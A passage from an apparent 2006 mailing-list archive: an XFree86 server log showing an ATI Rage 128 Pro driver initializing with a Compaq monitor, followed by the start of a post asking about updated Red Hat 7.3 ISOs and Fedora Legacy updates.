QL (AGP), ATI Radeon 9100 QM (AGP), ATI Radeon 8500 QN (AGP), ATI Radeon 8500 QO (AGP), ATI Radeon 8500 Qh (AGP), ATI Radeon 8500 Qi (AGP), ATI Radeon 8500 Qj (AGP), ATI Radeon 8500 Qk (AGP), ATI Radeon 8500 Ql (AGP), ATI Radeon 8500 BB (AGP), ATI Radeon 7500 QW (AGP), ATI Radeon 7500 QX (AGP), ATI Radeon 9000 Id (AGP), ATI Radeon 9000 Ie (AGP), ATI Radeon 9000 If (AGP), ATI Radeon 9000 Ig (AGP), ATI Radeon Mobility M9 Ld (AGP), ATI Radeon Mobility M9 Le (AGP), ATI Radeon Mobility M9 Lf (AGP), ATI Radeon Mobility M9 Lg (AGP), ATI Radeon 9000 IGP (A5) 5834, ATI Radeon Mobility 9000 IGP (U3) 5835, ATI Radeon 9200 5960 (AGP), ATI Radeon 9200 5961 (AGP), ATI Radeon 9200 5962 (AGP), ATI Radeon 9200 5963 (AGP), ATI Radeon 9200 5964 (AGP), ATI Radeon M9+ 5968 (AGP), ATI Radeon M9+ 5969 (AGP), ATI Radeon M9+ 596A (AGP), ATI Radeon M9+ 596B (AGP), ATI Radeon 9500 AD (AGP), ATI Radeon 9500 AE (AGP), ATI Radeon 9500 AF (AGP), ATI FireGL Z1/X1 AG (AGP), ATI Radeon 9700 Pro ND (AGP), ATI Radeon 9700/9500Pro NE (AGP), ATI Radeon 9700 NF (AGP), ATI FireGL X1 NG (AGP), ATI Radeon 9600 AP (AGP), ATI Radeon 9600 Pro AR (AGP), ATI Radeon Mobility M10 NP (AGP), ATI FireGL (R350) AK (AGP), ATI Radeon 9800 NH (AGP), ATI FireGL (R350) NK (AGP) (II) Primary Device is: PCI 01:00:0 (--) Assigning device section with no busID to primary device (--) Chipset ATI Rage 128 Pro ULTRA TF (AGP) found (II) Loading sub module "r128" (II) LoadModule: "r128" (II) Reloading /usr/X11R6/lib/modules/drivers/r128_drv.o (II) resource ranges after xf86ClaimFixedResources() call: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [6] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [7] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [8] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [9] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [10] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [11] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [12] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [13] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [14] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [15] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [16] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [17] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [18] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [19] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) resource ranges after probing: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [6] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [7] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [8] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [9] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [10] 0 0 0x000a0000 - 0x000affff (0x10000) MS[B] [11] 0 0 0x000b0000 - 0x000b7fff (0x8000) MS[B] [12] 0 0 0x000b8000 - 0x000bffff (0x8000) MS[B] [13] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [14] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [15] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [16] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [17] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [18] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [19] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [20] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [21] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [22] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) [23] 0 0 0x000003b0 - 0x000003bb (0xc) IS[B] [24] 0 0 0x000003c0 - 0x000003df (0x20) IS[B] (II) Setting vga for screen 0. (II) Loading sub module "vgahw" (II) LoadModule: "vgahw" (II) Loading /usr/X11R6/lib/modules/libvgahw.a (II) Module vgahw: vendor="The XFree86 Project" compiled for 4.3.0, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): PCI bus 1 card 0 func 0 (**) R128(0): Depth 24, (--) framebuffer bpp 32 (II) R128(0): Pixel depth = 24 bits stored in 4 bytes (32 bpp pixmaps) (==) R128(0): Default visual is TrueColor (==) R128(0): RGB weight 888 (II) R128(0): Using 8 bits per RGB (8 bit DAC) (II) Loading sub module "int10" (II) LoadModule: "int10" (II) Loading /usr/X11R6/lib/modules/linux/libint10.a (II) Module int10: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): initializing int10 (II) R128(0): Primary V_BIOS segment is: 0xc000 (--) R128(0): Chipset: "ATI Rage 128 Pro ULTRA TF (AGP)" (ChipID = 0x5446) (--) R128(0): Linear framebuffer at 0xf8000000 (--) R128(0): MMIO registers at 0xff9fc000 (--) R128(0): BIOS at 0x80000000 (--) R128(0): VideoRAM: 16384 kByte (128-bit SDR SGRAM 1:1) (**) R128(0): Using external CRT for display (WW) R128(0): Can't determine panel dimensions, and none specified. Disabling programming of FP registers. (II) R128(0): PLL parameters: rf=2950 rd=65 min=12500 max=35000; xclk=13000 (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Loading /usr/X11R6/lib/modules/libddc.a (II) Module ddc: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.6 (II) Loading sub module "vbe" (II) LoadModule: "vbe" (II) Loading /usr/X11R6/lib/modules/libvbe.a (II) Module vbe: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.1.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): VESA BIOS detected (II) R128(0): VESA VBE Version 2.0 (II) R128(0): VESA VBE Total Mem: 16384 kB (II) R128(0): VESA VBE OEM: ATI RAGE128 (II) R128(0): VESA VBE OEM Software Rev: 1.0 (II) R128(0): VESA VBE OEM Vendor: ATI Technologies Inc. (II) R128(0): VESA VBE OEM Product: R128 (II) R128(0): VESA VBE OEM Product Rev: 01.00 (II) Loading sub module "ddc" (II) LoadModule: "ddc" (II) Reloading /usr/X11R6/lib/modules/libddc.a (II) R128(0): VESA VBE DDC supported (II) R128(0): VESA VBE DDC Level 2 (II) R128(0): VESA VBE DDC transfer in appr. 2 sec. (II) R128(0): VESA VBE DDC read successfully (II) R128(0): Manufacturer: CPQ Model: 1330 Serial#: 1093743668 (II) R128(0): Year: 1999 Week: 20 (II) R128(0): EDID Version: 1.1 (II) R128(0): Analog Display Input, Input Voltage Level: 0.700/0.700 V (II) R128(0): Sync: Separate Composite (II) R128(0): Max H-Image Size [cm]: horiz.: 33 vert.: 24 (II) R128(0): Gamma: 2.60 (II) R128(0): DPMS capabilities: StandBy Suspend Off; RGB/Color Display (II) R128(0): redX: 0.625 redY: 0.340 greenX: 0.280 greenY: 0.595 (II) R128(0): blueX: 0.155 blueY: 0.070 whiteX: 0.281 whiteY: 0.311 (II) R128(0): Supported VESA Video Modes: (II) R128(0): 720x400 at 70Hz (II) R128(0): 640x480 at 60Hz (II) R128(0): 640x480 at 75Hz (II) R128(0): 800x600 at 60Hz (II) R128(0): 800x600 at 75Hz (II) R128(0): 832x624 at 75Hz (II) R128(0): 1024x768 at 60Hz (II) R128(0): 1024x768 at 75Hz (II) R128(0): 1280x1024 at 75Hz (II) R128(0): 1152x870 at 75Hz (II) R128(0): Manufacturer's mask: 0 (II) R128(0): Supported Future Video Modes: (II) R128(0): #0: hsize: 1280 vsize 1024 refresh: 60 vid: 32897 (II) R128(0): #1: hsize: 1152 vsize 864 refresh: 75 vid: 20337 (II) R128(0): #2: hsize: 1024 vsize 768 refresh: 85 vid: 22881 (II) R128(0): #3: hsize: 800 vsize 600 refresh: 85 vid: 22853 (II) R128(0): #4: hsize: 640 vsize 480 refresh: 85 vid: 22833 (II) R128(0): Ranges: V min: 50 V max: 150 Hz, H min: 30 H max: 85 kHz, PixClock max 2550 MHz (II) R128(0): Serial No: 920CA45UA144 (II) R128(0): Monitor name: COMPAQ P75 (==) R128(0): Using gamma correction (1.0, 1.0, 1.0) (==) R128(0): Write-combining range (0xf8000000,0x1000000) (II) Loading sub module "i2c" (II) LoadModule: "i2c" (II) Loading /usr/X11R6/lib/modules/libi2c.a (II) Module i2c: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.2.0 ABI class: XFree86 Video Driver, version 0.6 (II) R128(0): I2C bus "DDC" initialized. (II) R128(0): I2C device "DDC:ddc2" registered at address 0xA0. (II) R128(0): I2C device "DDC:ddc2" removed. (EE) R128(0): No DFP detected (II) R128(0): Monitor0: Using hsync range of 30.00-85.00 kHz (II) R128(0): Monitor0: Using vrefresh range of 50.00-150.00 Hz (II) R128(0): Clock range: 12.50 to 350.00 MHz (II) R128(0): Not using mode "1400x1050" (hsync out of range) (II) R128(0): Not using default mode "1280x960" (hsync out of range) (II) R128(0): Not using default mode "640x480" (hsync out of range) (II) R128(0): Not using default mode "1280x1024" (hsync out of range) (II) R128(0): Not using default mode "640x512" (hsync out of range) (II) R128(0): Not using default mode "1600x1200" (hsync out of range) (II) R128(0): Not using default mode "800x600" (hsync out of range) (II) R128(0): Not using default mode "1600x1200" (hsync out of range) (II) R128(0): Not using default mode "800x600" (hsync out of range) (II) R128(0): Not using default mode "1600x1200" (hsync out of range) (II) R128(0): Not using default mode "800x600" (hsync out of range) (II) R128(0): Not using default mode "1792x1344" (hsync out of range) (II) R128(0): Not using default mode "896x672" (hsync out of range) (II) R128(0): Not using default mode "1856x1392" (hsync out of range) (II) R128(0): Not using default mode "928x696" (hsync out of range) (II) R128(0): Not using default mode "1856x1392" (hsync out of range) (II) R128(0): Not using default mode "928x696" (hsync out of range) (II) R128(0): Not using default mode "1920x1440" (hsync out of range) (II) R128(0): Not using default mode "960x720" (hsync out of range) (II) R128(0): Not using default mode "1920x1440" (hsync out of range) (II) R128(0): Not using default mode "960x720" (hsync out of range) (II) R128(0): Not using default mode "700x525" (hsync out of range) (II) R128(0): Not using default mode "1920x1200" (hsync out of range) (II) R128(0): Not using default mode "960x600" (hsync out of range) (II) R128(0): Not using default mode "1920x1440" (hsync out of range) (II) R128(0): Not using default mode "960x720" (hsync out of range) (II) R128(0): Not using default mode "2048x1536" (hsync out of range) (II) R128(0): Not using default mode "1024x768" (hsync out of range) (II) R128(0): Not using default mode "2048x1536" (hsync out of range) (II) R128(0): Not using default mode "1024x768" (hsync out of range) (II) R128(0): Not using default mode "2048x1536" (bad mode clock/interlace/doublescan) (II) R128(0): Not using default mode "1024x768" (hsync out of range) (II) R128(0): Not using default mode "1792x1344" (width too large for virtual size) (II) R128(0): Not using default mode "1600x1200" (width too large for virtual size) (II) R128(0): Not using default mode "1600x1200" (width too large for virtual size) (II) R128(0): Not using mode "1400x1050" (width too large for virtual size) (II) R128(0): Not using mode "1400x1050" (width too large for virtual size) (II) R128(0): Not using mode "1400x1050" (width too large for virtual size) (II) R128(0): Not using default mode "1280x1024" (width too large for virtual size) (II) R128(0): Not using default mode "1280x1024" (width too large for virtual size) (II) R128(0): Not using default mode "1280x960" (width too large for virtual size) (II) R128(0): Not using default mode "1152x864" (width too large for virtual size) (II) R128(0): Not using default mode "1152x864" (width too large for virtual size) (II) R128(0): Not using default mode "1152x768" (width too large for virtual size) (--) R128(0): Virtual size is 1024x768 (pitch 1024) (**) R128(0): *Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz (II) R128(0): Modeline "1024x768" 94.50 1024 1072 1168 1376 768 769 772 808 +hsync +vsync (**) R128(0): *Default mode "800x600": 56.3 MHz, 53.7 kHz, 85.1 Hz (II) R128(0): Modeline "800x600" 56.30 800 832 896 1048 600 601 604 631 +hsync +vsync (**) R128(0): *Default mode "640x480": 36.0 MHz, 43.3 kHz, 85.0 Hz (II) R128(0): Modeline "640x480" 36.00 640 696 752 832 480 481 484 509 -hsync -vsync (**) R128(0): Default mode "1024x768": 78.8 MHz, 60.1 kHz, 75.1 Hz (II) R128(0): Modeline "1024x768" 78.80 1024 1040 1136 1312 768 769 772 800 +hsync +vsync (**) R128(0): Default mode "1024x768": 75.0 MHz, 56.5 kHz, 70.1 Hz (II) R128(0): Modeline "1024x768" 75.00 1024 1048 1184 1328 768 771 777 806 -hsync -vsync (**) R128(0): Default mode "1024x768": 65.0 MHz, 48.4 kHz, 60.0 Hz (II) R128(0): Modeline "1024x768" 65.00 1024 1048 1184 1344 768 771 777 806 -hsync -vsync (**) R128(0): Default mode "1024x768": 44.9 MHz, 35.5 kHz, 87.1 Hz (I) (II) R128(0): Modeline "1024x768" 44.90 1024 1032 1208 1264 768 768 776 817 interlace +hsync +vsync (**) R128(0): Default mode "896x672": 102.4 MHz, 83.7 kHz, 60.0 Hz (D) (II) R128(0): Modeline "896x672" 102.40 896 960 1060 1224 672 672 674 697 doublescan -hsync +vsync (**) R128(0): Default mode "832x624": 57.3 MHz, 49.7 kHz, 74.6 Hz (II) R128(0): Modeline "832x624" 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (**) R128(0): Default mode "800x600": 49.5 MHz, 46.9 kHz, 75.0 Hz (II) R128(0): Modeline "800x600" 49.50 800 816 896 1056 600 601 604 625 +hsync +vsync (**) R128(0): Default mode "800x600": 50.0 MHz, 48.1 kHz, 72.2 Hz (II) R128(0): Modeline "800x600" 50.00 800 856 976 1040 600 637 643 666 +hsync +vsync (**) R128(0): Default mode "800x600": 87.8 MHz, 81.2 kHz, 65.0 Hz (D) (II) R128(0): Modeline "800x600" 87.75 800 832 928 1080 600 600 602 625 doublescan +hsync +vsync (**) R128(0): Default mode "800x600": 40.0 MHz, 37.9 kHz, 60.3 Hz (II) R128(0): Modeline "800x600" 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (**) R128(0): Default mode "800x600": 81.0 MHz, 75.0 kHz, 60.0 Hz (D) (II) R128(0): Modeline "800x600" 81.00 800 832 928 1080 600 600 602 625 doublescan +hsync +vsync (**) R128(0): Default mode "800x600": 36.0 MHz, 35.2 kHz, 56.2 Hz (II) R128(0): Modeline "800x600" 36.00 800 824 896 1024 600 601 603 625 +hsync +vsync (**) R128(0): Default mode "700x525": 77.9 MHz, 81.5 kHz, 74.8 Hz (D) (II) R128(0): Modeline "700x525" 77.90 700 732 892 956 525 526 532 545 doublescan +hsync +vsync (**) R128(0): Default mode "700x525": 75.5 MHz, 77.0 kHz, 70.0 Hz (D) (II) R128(0): Modeline "700x525" 75.50 700 732 828 980 525 525 527 550 doublescan +hsync +vsync (**) R128(0): Default mode "700x525": 61.0 MHz, 64.9 kHz, 60.0 Hz (D) (II) R128(0): Modeline "700x525" 61.00 700 744 820 940 525 526 532 541 doublescan +hsync +vsync (**) R128(0): Default mode "640x512": 67.5 MHz, 80.0 kHz, 75.0 Hz (D) (II) R128(0): Modeline "640x512" 67.50 640 648 720 844 512 512 514 533 doublescan +hsync +vsync (**) R128(0): Default mode "640x512": 54.0 MHz, 64.0 kHz, 60.0 Hz (D) (II) R128(0): Modeline "640x512" 54.00 640 664 720 844 512 512 514 533 doublescan +hsync +vsync (**) R128(0): Default mode "640x480": 31.5 MHz, 37.5 kHz, 75.0 Hz (II) R128(0): Modeline "640x480" 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (**) R128(0): Default mode "640x480": 31.5 MHz, 37.9 kHz, 72.8 Hz (II) R128(0): Modeline "640x480" 31.50 640 664 704 832 480 489 491 520 -hsync -vsync (**) R128(0): Default mode "640x480": 25.2 MHz, 31.5 kHz, 60.0 Hz (II) R128(0): Modeline "640x480" 25.20 640 656 752 800 480 490 492 525 -hsync -vsync (**) R128(0): Default mode "640x480": 54.0 MHz, 60.0 kHz, 60.0 Hz (D) (II) R128(0): Modeline "640x480" 54.00 640 688 744 900 480 480 482 500 doublescan +hsync +vsync (**) R128(0): Default mode "720x400": 35.5 MHz, 37.9 kHz, 85.0 Hz (II) R128(0): Modeline "720x400" 35.50 720 756 828 936 400 401 404 446 -hsync +vsync (**) R128(0): Default mode "640x400": 31.5 MHz, 37.9 kHz, 85.1 Hz (II) R128(0): Modeline "640x400" 31.50 640 672 736 832 400 401 404 445 -hsync +vsync (**) R128(0): Default mode "576x432": 60.8 MHz, 77.5 kHz, 85.2 Hz (D) (II) R128(0): Modeline "576x432" 60.75 576 608 672 784 432 432 434 455 doublescan +hsync -vsync (**) R128(0): Default mode "576x432": 54.0 MHz, 67.5 kHz, 75.0 Hz (D) (II) R128(0): Modeline "576x432" 54.00 576 608 672 800 432 432 434 450 doublescan +hsync +vsync (**) R128(0): Default mode "640x350": 31.5 MHz, 37.9 kHz, 85.1 Hz (II) R128(0): Modeline "640x350" 31.50 640 672 736 832 350 382 385 445 +hsync -vsync (**) R128(0): Default mode "576x384": 32.5 MHz, 44.2 kHz, 54.8 Hz (D) (II) R128(0): Modeline "576x384" 32.50 576 589 657 736 384 385 388 403 doublescan +hsync +vsync (**) R128(0): Default mode "512x384": 47.2 MHz, 68.7 kHz, 85.0 Hz (D) (II) R128(0): Modeline "512x384" 47.25 512 536 584 688 384 384 386 404 doublescan +hsync +vsync (**) R128(0): Default mode "512x384": 39.4 MHz, 60.1 kHz, 75.1 Hz (D) (II) R128(0): Modeline "512x384" 39.40 512 520 568 656 384 384 386 400 doublescan +hsync +vsync (**) R128(0): Default mode "512x384": 37.5 MHz, 56.5 kHz, 70.1 Hz (D) (II) R128(0): Modeline "512x384" 37.50 512 524 592 664 384 385 388 403 doublescan -hsync -vsync (**) R128(0): Default mode "512x384": 32.5 MHz, 48.4 kHz, 60.0 Hz (D) (II) R128(0): Modeline "512x384" 32.50 512 524 592 672 384 385 388 403 doublescan -hsync -vsync (**) R128(0): Default mode "512x384": 22.4 MHz, 35.5 kHz, 87.1 Hz (D) (II) R128(0): Modeline "512x384" 22.45 512 516 604 632 384 384 388 409 interlace doublescan +hsync +vsync (**) R128(0): Default mode "416x312": 28.6 MHz, 49.7 kHz, 74.7 Hz (D) (II) R128(0): Modeline "416x312" 28.64 416 432 464 576 312 312 314 333 doublescan -hsync -vsync (**) R128(0): Default mode "400x300": 28.1 MHz, 53.7 kHz, 85.3 Hz (D) (II) R128(0): Modeline "400x300" 28.15 400 416 448 524 300 300 302 315 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 24.8 MHz, 46.9 kHz, 75.1 Hz (D) (II) R128(0): Modeline "400x300" 24.75 400 408 448 528 300 300 302 312 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 25.0 MHz, 48.1 kHz, 72.2 Hz (D) (II) R128(0): Modeline "400x300" 25.00 400 428 488 520 300 318 321 333 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 20.0 MHz, 37.9 kHz, 60.3 Hz (D) (II) R128(0): Modeline "400x300" 20.00 400 420 484 528 300 300 302 314 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 18.0 MHz, 35.2 kHz, 56.3 Hz (D) (II) R128(0): Modeline "400x300" 18.00 400 412 448 512 300 300 301 312 doublescan +hsync +vsync (**) R128(0): Default mode "320x240": 18.0 MHz, 43.3 kHz, 85.2 Hz (D) (II) R128(0): Modeline "320x240" 18.00 320 348 376 416 240 240 242 254 doublescan -hsync -vsync (**) R128(0): Default mode "320x240": 15.8 MHz, 37.5 kHz, 75.0 Hz (D) (II) R128(0): Modeline "320x240" 15.75 320 328 360 420 240 240 242 250 doublescan -hsync -vsync (**) R128(0): Default mode "320x240": 15.8 MHz, 37.9 kHz, 72.8 Hz (D) (II) R128(0): Modeline "320x240" 15.75 320 332 352 416 240 244 245 260 doublescan -hsync -vsync (**) R128(0): Default mode "320x240": 12.6 MHz, 31.5 kHz, 60.1 Hz (D) (II) R128(0): Modeline "320x240" 12.60 320 328 376 400 240 245 246 262 doublescan -hsync -vsync (**) R128(0): Default mode "360x200": 17.8 MHz, 37.9 kHz, 85.0 Hz (D) (II) R128(0): Modeline "360x200" 17.75 360 378 414 468 200 200 202 223 doublescan -hsync +vsync (**) R128(0): Default mode "320x200": 15.8 MHz, 37.9 kHz, 85.3 Hz (D) (II) R128(0): Modeline "320x200" 15.75 320 336 368 416 200 200 202 222 doublescan -hsync +vsync (**) R128(0): Default mode "320x175": 15.8 MHz, 37.9 kHz, 85.3 Hz (D) (II) R128(0): Modeline "320x175" 15.75 320 336 368 416 175 191 192 222 doublescan +hsync -vsync (--) R128(0): Display dimensions: (330, 240) mm (--) R128(0): DPI set to (78, 81) (II) Loading sub module "fb" (II) LoadModule: "fb" (II) Loading /usr/X11R6/lib/modules/libfb.a (II) Module fb: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 ANSI C Emulation, version 0.2 (II) Loading sub module "ramdac" (II) LoadModule: "ramdac" (II) Loading /usr/X11R6/lib/modules/libramdac.a (II) Module ramdac: vendor="The XFree86 Project" compiled for 4.3.0, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.6 (II) Loading sub module "xaa" (II) LoadModule: "xaa" (II) Loading /usr/X11R6/lib/modules/libxaa.a (II) Module xaa: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.1.0 ABI class: XFree86 Video Driver, version 0.6 (!!) R128(0): For information on using the multimedia capabilities of this adapter, please see http://gatos.sf.net. (--) Depth 24 pixmap format is 32 bpp (II) do I need RAC? No, I don't. (II) resource ranges after preInit: [0] 0 0 0xff9fc000 - 0xff9fffff (0x4000) MS[B] [1] 0 0 0xf8000000 - 0xfbffffff (0x4000000) MS[B] [2] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [3] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [4] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [5] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [6] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [7] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [8] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [9] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [10] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [11] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [12] 0 0 0x000a0000 - 0x000affff (0x10000) MS[B](OprU) [13] 0 0 0x000b0000 - 0x000b7fff (0x8000) MS[B](OprU) [14] 0 0 0x000b8000 - 0x000bffff (0x8000) MS[B](OprU) [15] 0 0 0x0000ec00 - 0x0000ecff (0x100) IS[B] [16] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [17] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [18] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [19] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [20] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [21] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [22] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [23] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [24] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [25] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) [26] 0 0 0x000003b0 - 0x000003bb (0xc) IS[B](OprU) [27] 0 0 0x000003c0 - 0x000003df (0x20) IS[B](OprU) (==) R128(0): Write-combining range (0xf8000000,0x1000000) drmOpenDevice: minor is 0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmOpenDevice: minor is 0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmOpenDevice: minor is 0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmGetBusid returned '' (II) R128(0): [drm] created "r128" driver at busid "PCI:1:0:0" (II) R128(0): [drm] added 8192 byte SAREA at 0xd89cb000 (II) R128(0): [drm] mapped SAREA 0xd89cb000 to 0x40018000 (II) R128(0): [drm] framebuffer handle = 0xf8000000 (II) R128(0): [drm] added 1 reserved context for kernel (II) R128(0): [agp] Mode 0x1f000211 [AGP 0x8086/0x1a30; Card 0x1002/0x5446] (II) R128(0): [agp] 8192 kB allocated with handle 0xd99cf000 (II) R128(0): [agp] ring handle = 0xf0000000 (II) R128(0): [agp] Ring mapped at 0x411ef000 (II) R128(0): [agp] ring read ptr handle = 0xf0101000 (II) R128(0): [agp] Ring read ptr mapped at 0x4001a000 (II) R128(0): [agp] vertex/indirect buffers handle = 0xf0102000 (II) R128(0): [agp] Vertex/indirect buffers mapped at 0x412f0000 (II) R128(0): [agp] AGP texture map handle = 0xf0302000 (II) R128(0): [agp] AGP Texture map mapped at 0x414f0000 (II) R128(0): [drm] register handle = 0xff9fc000 (II) R128(0): [dri] Visual configs initialized (II) R128(0): CCE in BM mode (II) R128(0): Using 8 MB AGP aperture (II) R128(0): Using 1 MB for the ring buffer (II) R128(0): Using 2 MB for vertex/indirect buffers (II) R128(0): Using 5 MB for AGP textures (II) R128(0): Memory manager initialized to (0,0) (1024,3072) (II) R128(0): Reserved area from (0,768) to (1024,770) (II) R128(0): Largest offscreen area available: 1024 x 2302 (II) R128(0): Reserved back buffer from (0,770) to (1024,1538) (II) R128(0): Reserved depth buffer from (0,1538) to (1024,2307) (II) R128(0): Reserved depth span from (0,2306) offset 0x902000 (II) R128(0): Reserved 4096 kb for textures at offset 0xc00000 (II) R128(0): Using XFree86 Acceleration Architecture (XAA) Screen to screen bit blits Solid filled rectangles 8x8 mono pattern filled rectangles Indirect CPU to Screen color expansion Solid Lines Dashed Lines Offscreen Pixmaps Setting up tile and stipple cache: 20 128x128 slots 5 256x256 slots (II) R128(0): Acceleration enabled (**) R128(0): Option "BackingStore" "On" (**) R128(0): Backing store enabled (==) R128(0): Silken mouse enabled (II) R128(0): Using hardware cursor (scanline 9228) (II) R128(0): Largest offscreen area available: 1024 x 763 (**) Option "dpms" (**) R128(0): DPMS enabled (II) R128(0): X context handle = 0x00000001 (II) R128(0): [drm] installed DRM signal handler (II) R128(0): [DRI] installation complete (II) R128(0): [drm] Added 128 16384 byte vertex/indirect buffers (II) R128(0): [drm] Mapped 128 vertex/indirect buffers (II) R128(0): [drm] dma control initialized, using IRQ 11 (II) R128(0): Direct rendering enabled (==) RandR enabled (II) Initializing built-in extension MIT-SHM (II) Initializing built-in extension XInputExtension (II) Initializing built-in extension XTEST (II) Initializing built-in extension XKEYBOARD (II) Initializing built-in extension LBX (II) Initializing built-in extension XC-APPGROUP (II) Initializing built-in extension SECURITY (II) Initializing built-in extension XINERAMA (II) Initializing built-in extension XFree86-Bigfont (II) Initializing built-in extension RENDER (II) Initializing built-in extension RANDR (**) Option "Protocol" "PS/2" (**) Mouse0: Protocol: "PS/2" (**) Option "CorePointer" (**) Mouse0: Core Pointer (**) Option "Device" "/dev/psaux" (**) Option "Emulate3Buttons" "yes" (**) Mouse0: Emulate3Buttons, Emulate3Timeout: 50 (**) Option "ZAxisMapping" "4 5" (**) Mouse0: ZAxisMapping: buttons 4 and 5 (**) Mouse0: Buttons: 5 (II) Keyboard "Keyboard0" handled by legacy driver (II) XINPUT: Adding extended input device "Mouse0" (type: MOUSE) (II) Mouse0: ps2EnableDataReporting: succeedede0: Protocol: "PS/2" (**) Option "CorePointer" (**) Mouse0: Core Pointer (**) Option "Device" "/dev/psaux" (**) Option "Emulate3Buttons" "yes" (**) Mouse0: Emulate3Buttons, Emulate3Timeout: 50 (**) Option "ZAxisMapping" "4 5" (**) Mouse0: ZAxisMapping: buttons 4 and 5 (**) Mouse0: Buttons: 5 (II) Keyboard "Keyboard0" handled by legacy driver (II) XINPUT: Adding extended input device "Mouse0" (type: MOUSE) (II) Mouse0: ps2EnableDataReporting: succeeded From eric at interplas.com Wed Jan 18 14:04:50 2006 From: eric at interplas.com (Eric Wood) Date: Wed, 18 Jan 2006 09:04:50 -0500 Subject: Obtaining the Latest ISOs for RH 7.3 Message-ID: <009d01c61c38$263c2520$f502000a@M145Primary> I may be dreaming but is there some up-to-date RH 7.3 iso's that already incorporate most of the package updates? Are do I have to do a three-step process of: 1) installing the stock 7.3 2) update all rpms RedHat published 3) configure yum and update all the Legacy updates. -or- Does a mirrored updates directory, (ie, http://www.gtlib.gatech.edu/pub/fedoralegacy/redhat/7.3/updates/) 